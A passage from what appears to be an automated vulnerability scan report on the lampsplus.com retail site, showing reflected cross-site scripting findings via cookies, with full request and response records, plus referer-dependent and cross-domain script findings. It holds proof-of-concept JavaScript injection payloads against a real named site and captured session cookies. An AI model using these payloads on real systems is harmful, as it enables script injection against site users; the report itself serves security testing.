Date: Sun, 26 Dec 2010 14:23:00 GMT
Connection: close
Content-Length: 1232

/*
Add to .aspx file:
<script src="<%=CustomSettings.Settings.UnsecureSiteUrl%>/cart/scripts/cart/add-to-cart.js" type="text/javascript"></script>

For the 1.1 stuff, we have to use cookies.
*/

...[SNIP]...

6. Cross-site scripting (reflected)  previous  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


6.1. http://www.lampsplus.com/htmls/cart/add.aspx [SiteClarity_f6506 cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/add.aspx

Issue detail

The value of the SiteClarity_f6506 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 287d1'-alert(1)-'f91df2e6f0e was submitted in the SiteClarity_f6506 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /htmls/cart/add.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary287d1'-alert(1)-'f91df2e6f0e; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response (redirected)

HTTP/1.1 200 OK
Content-Length: 105297
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:33:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:33:04 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary287d1'-alert(1)-'f91df2e6f0e',1,999.91);
//-->
...[SNIP]...

6.2. http://www.lampsplus.com/htmls/cart/shoppingcart.aspx [SiteClarity_f6506 cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/shoppingcart.aspx

Issue detail

The value of the SiteClarity_f6506 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffe22'-alert(1)-'1bad6312fb6 was submitted in the SiteClarity_f6506 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/cart/Add-To-Cart.aspx?qty=1&ms=1293373423693
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporaryffe22'-alert(1)-'1bad6312fb6; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:28:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:28:34 GMT
Connection: close
Content-Length: 105766


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporaryffe22'-alert(1)-'1bad6312fb6',1,999.91);
//-->
...[SNIP]...

6.3. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html [QureyStringParameters cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/Linair-Plasma-TV-Entertainment-Console__F6506.html

Issue detail

The value of the QureyStringParameters cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3213d'-alert(1)-'e19f768bd9b was submitted in the QureyStringParameters cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /products/Linair-Plasma-TV-Entertainment-Console__F6506.html HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QureyStringParameters=sourceid=DFBCMEF6506&cm_mmc=BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F65063213d'-alert(1)-'e19f768bd9b

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:28:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:28:17 GMT
Connection: close
Set-Cookie: CMCookieFooterVendor=BCME-SH; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:28:16 GMT; path=/
Set-Cookie: CMCookieFooterCategory=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:28:16 GMT; path=/
Set-Cookie: CMCookieFooterPlacement=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:28:16 GMT; path=/
Set-Cookie: CMCookieFooterItem=F65063213d'-alert(1)-'e19f768bd9b; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:28:16 GMT; path=/
Set-Cookie: GUID=10cabdc2-afc0-4ce4-98af-e92aebc9ded1; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Set-Cookie: source=DFBCMEF6506; domain=.lampsplus.com; expires=Fri, 24-Jun-2011 13:28:16 GMT; path=/
Set-Cookie: SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpqs_sd=False; path=/
Content-Length: 111514


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="C
...[SNIP]...
<script type="text/javascript">
var manual_cm_mmc= 'BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F65063213d'-alert(1)-'e19f768bd9b';
cmCreateProductviewTag("F6506", "Linair Plasma TV Entertainment Console", "");
</script>
...[SNIP]...

7. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.lampsplus.com
Path:   /htmls/cart/shoppingcart.aspx

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/cart/Add-To-Cart.aspx?qty=1&ms=1293373423693
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response 1

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:27:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:27:49 GMT
Connection: close
Content-Length: 105738


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
<!-- FrameBreaker Code On. Domain Not Allowed: www.lampsplus.com -->
<script language='javascript' src='/js/framebreaker.js'></script>



<!-- Start Google Analytics -->
   <script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script>
   <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-1043949-1"); pageTracker._setCookieTimeout(10368000);pageTracker._initData(); pageTracker._setDomainName(".lampsplus.com");    if((typeof googleAnalyticsUrl != 'undefined') && (googleAnalyticsUrl != null))pageTracker._trackPageview(googleAnalyticsUrl);else pageTracker._trackPageview();</script>
<!-- End Google Analytics -->
<!-- BEGIN COREMETRICS SUPPORT-->
<div id="coremetrics_categoryId" name="coremetrics_categoryId" style="display:none;"></div>
<div id="coremetrics_pageName" name="coremetrics_pageName" style="display:none;"></div>
<script src="/js/eluminate.js" type="text/javascript"></script>
<script src="/js/cmdatatagutils.js" type="text/javascript"></script>
<script type="text/javascript">
cmSetClientID("90065468", false,"www9.lampsplus.com","lampsplus.com");
</script>
<script type="text/javascript">
cmCreateDefaultPageviewTag("");
cmCreateShopAction5Tag("F6506", "Linair Plasma TV Entertainment Console", "1", "999.91", "", null, "4174836");
cmDisplayShop5s();
</script>
<!-- END COREMETRICS -->


       
       <div id="expeditePop" class="overlay">
       <h2>Same Day Expedited Processing</h2>
       
<p>If your order is time sensitive, request Same Day Expedited Processing!</p>

<p>This means that we will pick, process and put your order on an outgoing truck that same day or first thing the next business day. A single $15 fee covers all eligible items in your order. Orders are sent by ground shipping unless otherwise requested. </p>

<p>Orders must b
...[SNIP]...

Request 2

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response 2

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:28:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:28:26 GMT
Connection: close
Content-Length: 105648


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
<!-- FrameBreaker Code On. -->
<script language='javascript' src='/js/framebreaker.js'></script>



<!-- Start Google Analytics -->
   <script type="text/javascript">var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script>
   <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-1043949-1"); pageTracker._setCookieTimeout(10368000);pageTracker._initData(); pageTracker._setDomainName(".lampsplus.com");    if((typeof googleAnalyticsUrl != 'undefined') && (googleAnalyticsUrl != null))pageTracker._trackPageview(googleAnalyticsUrl);else pageTracker._trackPageview();</script>
<!-- End Google Analytics -->
<!-- BEGIN COREMETRICS SUPPORT-->
<div id="coremetrics_categoryId" name="coremetrics_categoryId" style="display:none;"></div>
<div id="coremetrics_pageName" name="coremetrics_pageName" style="display:none;"></div>
<script src="/js/eluminate.js" type="text/javascript"></script>
<script src="/js/cmdatatagutils.js" type="text/javascript"></script>
<script type="text/javascript">
cmSetClientID("90065468", false,"www9.lampsplus.com","lampsplus.com");
</script>
<script type="text/javascript">
cmCreateDefaultPageviewTag("");
cmCreateShopAction5Tag("F6506", "Linair Plasma TV Entertainment Console", "1", "999.91", "", null, "4174836");
cmDisplayShop5s();
</script>
<!-- END COREMETRICS -->


       
       <div id="expeditePop" class="overlay">
       <h2>Same Day Expedited Processing</h2>
       
<p>If your order is time sensitive, request Same Day Expedited Processing!</p>

<p>This means that we will pick, process and put your order on an outgoing truck that same day or first thing the next business day. A single $15 fee covers all eligible items in your order. Orders are sent by ground shipping unless otherwise requested. </p>

<p>Orders must be received by 1 pm Pacific Time to be
...[SNIP]...

8. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


8.1. http://www.lampsplus.com/htmls/cart/shoppingcart.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/shoppingcart.aspx

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/cart/Add-To-Cart.aspx?qty=1&ms=1293373423693
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:12 GMT
Connection: close
Content-Length: 105738


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
<td align="center">
                           <script type="text/javascript" src="https://seal.verisign.com/getseal?host_name=www.lampsplus.com&size=S&use_flash=NO&use_transparent=NO&lang=en"></script>
...[SNIP]...

8.2. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/Linair-Plasma-TV-Entertainment-Console__F6506.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /products/Linair-Plasma-TV-Entertainment-Console__F6506.html HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QureyStringParameters=sourceid=DFBCMEF6506&cm_mmc=BCME-SH-_-Cabinets%20and%20Storage-_-Cabinets%20and%20Storage-_-F6506

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:23:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:00 GMT
Connection: close
Set-Cookie: CMCookieFooterVendor=BCME-SH; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterCategory=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterPlacement=Cabinets%20and%20Storage; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: CMCookieFooterItem=F6506; domain=.lampsplus.com; expires=Mon, 25-Apr-2011 13:22:58 GMT; path=/
Set-Cookie: GUID=917b51e2-22e5-4314-8874-93fc786f91fe; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Set-Cookie: source=DFBCMEF6506; domain=.lampsplus.com; expires=Fri, 24-Jun-2011 13:22:58 GMT; path=/
Set-Cookie: SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpqs_sd=False; path=/
Content-Length: 111486


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="C
...[SNIP]...
</script>
       <script type="text/javascript" src="http://as00.estara.com/as/InitiateCall2.php?accountid=200106298873"></script>
